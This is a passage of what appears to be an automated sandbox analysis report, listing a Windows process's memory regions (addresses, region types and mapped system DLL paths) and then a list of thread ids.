"private_0x00000000085d0000" filename = "" Region: id = 2090 start_va = 0x85f0000 end_va = 0x862ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000085f0000" filename = "" Region: id = 2091 start_va = 0x8630000 end_va = 0x872ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008630000" filename = "" Region: id = 2092 start_va = 0x8730000 end_va = 0x874ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008730000" filename = "" Region: id = 2093 start_va = 0x8750000 end_va = 0x876ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008750000" filename = "" Region: id = 2094 start_va = 0x8770000 end_va = 0x878ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008770000" filename = "" Region: id = 2095 start_va = 0x8790000 end_va = 0x87cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008790000" filename = "" Region: id = 2096 start_va = 0x87d0000 end_va = 0x88cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000087d0000" filename = "" Region: id = 2097 start_va = 0x88d0000 end_va = 0x88d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000088d0000" filename = "" Region: id = 2098 start_va = 0x88e0000 end_va = 0x88e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088e0000" filename = "" Region: id = 2099 start_va = 0x88f0000 end_va = 0x88f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088f0000" filename = "" Region: id = 2100 start_va = 0x8900000 end_va = 0x893ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008900000" filename = "" Region: id = 2101 start_va = 0x8940000 end_va = 0x8a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008940000" filename = "" Region: id = 2102 start_va = 0x8a40000 end_va = 0x8c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a40000" filename = "" Region: id = 2103 start_va = 0x8c40000 end_va = 0x8c40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c40000" filename = "" Region: id = 2104 start_va = 0x8c50000 end_va = 0x8c53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c50000" filename = "" Region: id = 2105 start_va = 0x8c60000 end_va = 0x8c62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui") Region: id = 2106 start_va = 0x8c70000 end_va = 0x8caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c70000" filename = "" Region: id = 2107 start_va = 0x8cb0000 end_va = 0x8daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008cb0000" filename = "" Region: id = 2108 start_va = 0x8db0000 end_va = 0x8db9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 2109 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2110 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2111 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2112 start_va = 0x6f870000 end_va = 0x6fa8bfff monitored = 0 entry_point = 0x6fa3bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 2113 start_va = 0x6fa90000 end_va = 0x6fbdafff monitored = 0 entry_point = 0x6faf1660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 2114 start_va = 0x6fbe0000 end_va = 0x6fc12fff monitored = 0 entry_point = 0x6fbf0e70 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll") Region: id = 2115 start_va = 0x6fc20000 end_va = 0x6fc29fff monitored = 0 entry_point = 0x6fc23200 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2116 start_va = 0x6fc30000 end_va = 0x6fcf7fff monitored = 0 entry_point = 0x6fc9ae90 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\SysWOW64\\WinTypes.dll" (normalized: "c:\\windows\\syswow64\\wintypes.dll") Region: id = 2117 start_va = 0x6fd00000 end_va = 0x6fd39fff monitored = 0 entry_point = 0x6fd19be0 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\SysWOW64\\vaultcli.dll" (normalized: "c:\\windows\\syswow64\\vaultcli.dll") Region: id = 2118 start_va = 0x6fd40000 end_va = 0x6ff57fff monitored = 0 entry_point = 0x6fde97b0 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\SysWOW64\\d3d10warp.dll" (normalized: "c:\\windows\\syswow64\\d3d10warp.dll") Region: id = 2119 start_va = 0x6ff60000 end_va = 0x6ffcffff monitored = 0 entry_point = 0x6ff99e70 region_type = mapped_file name = "directmanipulation.dll" filename = "\\Windows\\SysWOW64\\directmanipulation.dll" (normalized: "c:\\windows\\syswow64\\directmanipulation.dll") Region: id = 2120 start_va = 0x6ffd0000 end_va = 0x6ffddfff monitored = 0 entry_point = 0x6ffd3f60 region_type = mapped_file name = "msimtf.dll" filename = "\\Windows\\SysWOW64\\msimtf.dll" (normalized: "c:\\windows\\syswow64\\msimtf.dll") Region: id = 2121 start_va = 0x6ffe0000 end_va = 0x70059fff monitored = 0 entry_point = 0x6fff5770 region_type = mapped_file name = "ieui.dll" filename = "\\Windows\\SysWOW64\\ieui.dll" (normalized: "c:\\windows\\syswow64\\ieui.dll") Region: id = 2122 start_va = 0x70060000 end_va = 0x7008efff monitored = 0 entry_point = 0x700795e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2123 start_va = 0x70090000 end_va = 0x70417fff monitored = 0 entry_point = 0x7023fd70 region_type = mapped_file name = "jscript9.dll" filename = "\\Windows\\SysWOW64\\jscript9.dll" (normalized: "c:\\windows\\syswow64\\jscript9.dll") Region: id = 2124 start_va = 0x70420000 end_va = 0x7046cfff monitored = 0 entry_point = 0x704358f0 region_type = mapped_file name = "ninput.dll" filename = "\\Windows\\SysWOW64\\ninput.dll" (normalized: "c:\\windows\\syswow64\\ninput.dll") Region: id = 2125 start_va = 0x70500000 end_va = 0x7052cfff monitored = 0 entry_point = 0x70512b00 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Region: id = 2126 start_va = 0x70530000 end_va = 0x70537fff monitored = 0 entry_point = 0x70531d70 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll") Region: id = 2127 start_va = 0x70540000 end_va = 0x70559fff monitored = 0 entry_point = 0x7054fa70 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\SysWOW64\\ncryptsslp.dll" (normalized: "c:\\windows\\syswow64\\ncryptsslp.dll") Region: id = 2128 start_va = 0x70560000 end_va = 0x7058bfff monitored = 0 entry_point = 0x7057bb10 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\SysWOW64\\ntasn1.dll" (normalized: "c:\\windows\\syswow64\\ntasn1.dll") Region: id = 2129 start_va = 0x70590000 end_va = 0x705affff monitored = 0 entry_point = 0x7059d120 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 2130 start_va = 0x705b0000 end_va = 0x705bffff monitored = 0 entry_point = 0x705b4600 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\SysWOW64\\mskeyprotect.dll" (normalized: "c:\\windows\\syswow64\\mskeyprotect.dll") Region: id = 2131 start_va = 0x705c0000 end_va = 0x70623fff monitored = 0 entry_point = 0x705dafd0 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll") Region: id = 2132 start_va = 0x70630000 end_va = 0x70637fff monitored = 0 entry_point = 0x70631920 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 2133 start_va = 0x70640000 end_va = 0x70686fff monitored = 0 entry_point = 0x706558d0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 2134 start_va = 0x70690000 end_va = 0x7075cfff monitored = 0 entry_point = 0x706e29c0 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\SysWOW64\\twinapi.appcore.dll" (normalized: "c:\\windows\\syswow64\\twinapi.appcore.dll") Region: id = 2135 start_va = 0x70760000 end_va = 0x70806fff monitored = 0 entry_point = 0x70796240 region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\SysWOW64\\dcomp.dll" (normalized: "c:\\windows\\syswow64\\dcomp.dll") Region: id = 2136 start_va = 0x70810000 end_va = 0x70a29fff monitored = 0 entry_point = 0x708a5550 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\SysWOW64\\d3d11.dll" (normalized: "c:\\windows\\syswow64\\d3d11.dll") Region: id = 2137 start_va = 0x70a30000 end_va = 0x70a70fff monitored = 0 entry_point = 0x70a37fe0 region_type = mapped_file name = "dataexchange.dll" filename = "\\Windows\\SysWOW64\\DataExchange.dll" (normalized: "c:\\windows\\syswow64\\dataexchange.dll") Region: id = 2138 start_va = 0x70a80000 end_va = 0x70b03fff monitored = 0 entry_point = 0x70aa6530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2139 start_va = 0x70b10000 end_va = 0x70b2bfff monitored = 0 entry_point = 0x70b22a90 region_type = mapped_file name = "srpapi.dll" filename = "\\Windows\\SysWOW64\\srpapi.dll" (normalized: "c:\\windows\\syswow64\\srpapi.dll") Region: id = 2140 start_va = 0x70b30000 end_va = 0x70bb2fff monitored = 0 entry_point = 0x70b537c0 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\SysWOW64\\dxgi.dll" (normalized: "c:\\windows\\syswow64\\dxgi.dll") Region: id = 2141 start_va = 0x70bc0000 end_va = 0x70db0fff monitored = 0 entry_point = 0x70ca3cd0 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\SysWOW64\\DWrite.dll" (normalized: "c:\\windows\\syswow64\\dwrite.dll") Region: id = 2142 start_va = 0x70dc0000 end_va = 0x7124dfff monitored = 0 entry_point = 0x7114a320 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\SysWOW64\\d2d1.dll" (normalized: "c:\\windows\\syswow64\\d2d1.dll") Region: id = 2143 start_va = 0x71250000 end_va = 0x71262fff monitored = 0 entry_point = 0x71259950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2144 start_va = 0x71270000 end_va = 0x713eafff monitored = 0 entry_point = 0x712bec50 region_type = mapped_file name = "ieapfltr.dll" filename = "\\Windows\\SysWOW64\\ieapfltr.dll" (normalized: "c:\\windows\\syswow64\\ieapfltr.dll") Region: id = 2145 start_va = 0x713f0000 end_va = 0x7143efff monitored = 0 entry_point = 0x71429000 region_type = mapped_file name = "ieproxy.dll" filename = "\\Windows\\SysWOW64\\ieproxy.dll" (normalized: "c:\\windows\\syswow64\\ieproxy.dll") Region: id = 2146 start_va = 0x71440000 end_va = 0x71447fff monitored = 0 entry_point = 0x71441fc0 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2147 start_va = 0x71450000 end_va = 0x7149efff monitored = 0 entry_point = 0x7145d850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 2148 start_va = 0x714a0000 end_va = 0x7153afff monitored = 0 entry_point = 0x714df7e0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 2149 start_va = 0x71540000 end_va = 0x7156efff monitored = 0 entry_point = 0x7154bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2150 start_va = 0x71570000 end_va = 0x71581fff monitored = 0 entry_point = 0x71574510 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 2151 start_va = 0x71590000 end_va = 0x715aafff monitored = 0 entry_point = 0x71599050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 2152 start_va = 0x715b0000 end_va = 0x715bafff monitored = 0 entry_point = 0x715b4a50 region_type = mapped_file name = "tokenbinding.dll" filename = "\\Windows\\SysWOW64\\tokenbinding.dll" (normalized: "c:\\windows\\syswow64\\tokenbinding.dll") Region: id = 2153 start_va = 0x715c0000 end_va = 0x717ccfff monitored = 0 entry_point = 0x716aacb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2154 start_va = 0x717d0000 end_va = 0x7194dfff monitored = 0 entry_point = 0x7184c630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2155 start_va = 0x71950000 end_va = 0x72cd1fff monitored = 0 entry_point = 0x71d30ec0 region_type = mapped_file name = "mshtml.dll" filename = "\\Windows\\SysWOW64\\mshtml.dll" (normalized: "c:\\windows\\syswow64\\mshtml.dll") Region: id = 2156 start_va = 0x72ce0000 end_va = 0x72d0bfff monitored = 0 entry_point = 0x72cf5ee0 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\SysWOW64\\fwbase.dll" (normalized: "c:\\windows\\syswow64\\fwbase.dll") Region: id = 2157 start_va = 0x72d10000 end_va = 0x72d1afff monitored = 0 entry_point = 0x72d11d20 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 2158 start_va = 0x72d20000 end_va = 0x72d74fff monitored = 0 entry_point = 0x72d43150 region_type = mapped_file name = "ieshims.dll" filename = "\\Program Files (x86)\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files (x86)\\internet explorer\\ieshims.dll") Region: id = 2159 start_va = 0x72d80000 end_va = 0x72f8efff monitored = 0 entry_point = 0x72e2b0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 2160 start_va = 0x72f90000 end_va = 0x73b28fff monitored = 0 entry_point = 0x73166970 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 2161 start_va = 0x73b30000 end_va = 0x73dfafff monitored = 0 entry_point = 0x73d6c4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2162 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2163 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2164 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2165 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2166 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2167 start_va = 0x73fd0000 end_va = 0x740c1fff monitored = 0 entry_point = 0x74008070 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 2168 start_va = 0x740d0000 end_va = 0x74247fff monitored = 0 entry_point = 0x74128a90 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2169 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2170 start_va = 0x747b0000 end_va = 0x747b6fff monitored = 0 entry_point = 0x747b1e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2171 start_va = 0x74820000 end_va = 0x748b1fff monitored = 0 entry_point = 0x74858cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2172 start_va = 0x748c0000 end_va = 0x7491dfff monitored = 0 entry_point = 0x748d7470 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\SysWOW64\\FirewallAPI.dll" (normalized: "c:\\windows\\syswow64\\firewallapi.dll") Region: id = 2173 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2174 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2175 start_va = 0x74d60000 end_va = 0x74da3fff monitored = 0 entry_point = 0x74d67410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 2176 start_va = 0x74db0000 end_va = 0x74e0efff monitored = 0 entry_point = 0x74db4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2177 start_va = 0x74e10000 end_va = 0x74e22fff monitored = 0 entry_point = 0x74e11d20 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2178 start_va = 0x74e30000 end_va = 0x74e74fff monitored = 0 entry_point = 0x74e4de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2179 start_va = 0x74f00000 end_va = 0x74f0efff monitored = 0 entry_point = 0x74f02e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2180 start_va = 0x74f10000 end_va = 0x75408fff monitored = 0 entry_point = 0x75117610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 2181 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 2182 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 2183 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 2184 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2185 start_va = 0x75700000 end_va = 0x75783fff monitored = 0 entry_point = 0x75726220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2186 start_va = 0x75790000 end_va = 0x757d1fff monitored = 0 entry_point = 0x757a6f10 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 2187 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2188 start_va = 0x75810000 end_va = 0x7581dfff monitored = 0 entry_point = 0x75815410 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2189 start_va = 0x758c0000 end_va = 0x758f6fff monitored = 0 entry_point = 0x758c3b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 2190 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2191 start_va = 0x75950000 end_va = 0x75a3afff monitored = 0 entry_point = 0x7598d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2192 start_va = 0x75a50000 end_va = 0x75acafff monitored = 0 entry_point = 0x75a6e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2193 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2194 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2195 start_va = 0x75ca0000 end_va = 0x7709efff monitored = 0 entry_point = 0x75e5b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2196 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2197 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 2198 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2199 start_va = 0x7fa40000 end_va = 0x7fb3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fa40000" filename = "" Region: id = 2200 start_va = 0x7fb40000 end_va = 0x7fb62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fb40000" filename = "" Region: id = 2201 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2202 start_va = 0x7fff0000 end_va = 0x7dfff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2203 start_va = 0x7dfff07a0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfff07a0000" filename = "" Region: id = 2204 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2205 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 2798 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2799 start_va = 0x560000 end_va = 0x561fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 2800 start_va = 0x8dc0000 end_va = 0x92b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008dc0000" filename = "" Region: id = 2801 start_va = 0x92c0000 end_va = 0xa2fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2803 start_va = 0x7e30000 end_va = 0x7e3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e30000" filename = "" Region: id = 2804 start_va = 0x7e30000 end_va = 0x7e30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e30000" filename = "" Region: id = 2805 start_va = 0x7e30000 end_va = 0x7e3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e30000" filename = "" Thread: id = 297 os_tid = 0x12e8 Thread: id = 298 os_tid = 0x1204 Thread: id = 299 os_tid = 0x1200 Thread: id = 300 os_tid = 0x11fc Thread: id = 301 os_tid = 0x11f4 Thread: id = 302 os_tid = 0x11e4 Thread: id = 303 os_tid = 0x11cc Thread: id = 304 os_tid = 0x11c8 Thread: id = 305 os_tid = 0x11c4 Thread: id = 306 os_tid = 0x11bc Thread: id = 307 os_tid = 0x11b8 Thread: id = 308 os_tid = 0x11b4 Thread: id = 309 os_tid = 0x11a8 Thread: id = 310 os_tid = 0x11a4 Thread: id = 311 os_tid = 0x11a0 Thread: id = 312 os_tid = 0x119c Thread: id = 313 os_tid = 0x1108 Thread: id = 314 os_tid = 0x10ec Thread: id = 315 os_tid = 0x10e4 Thread: 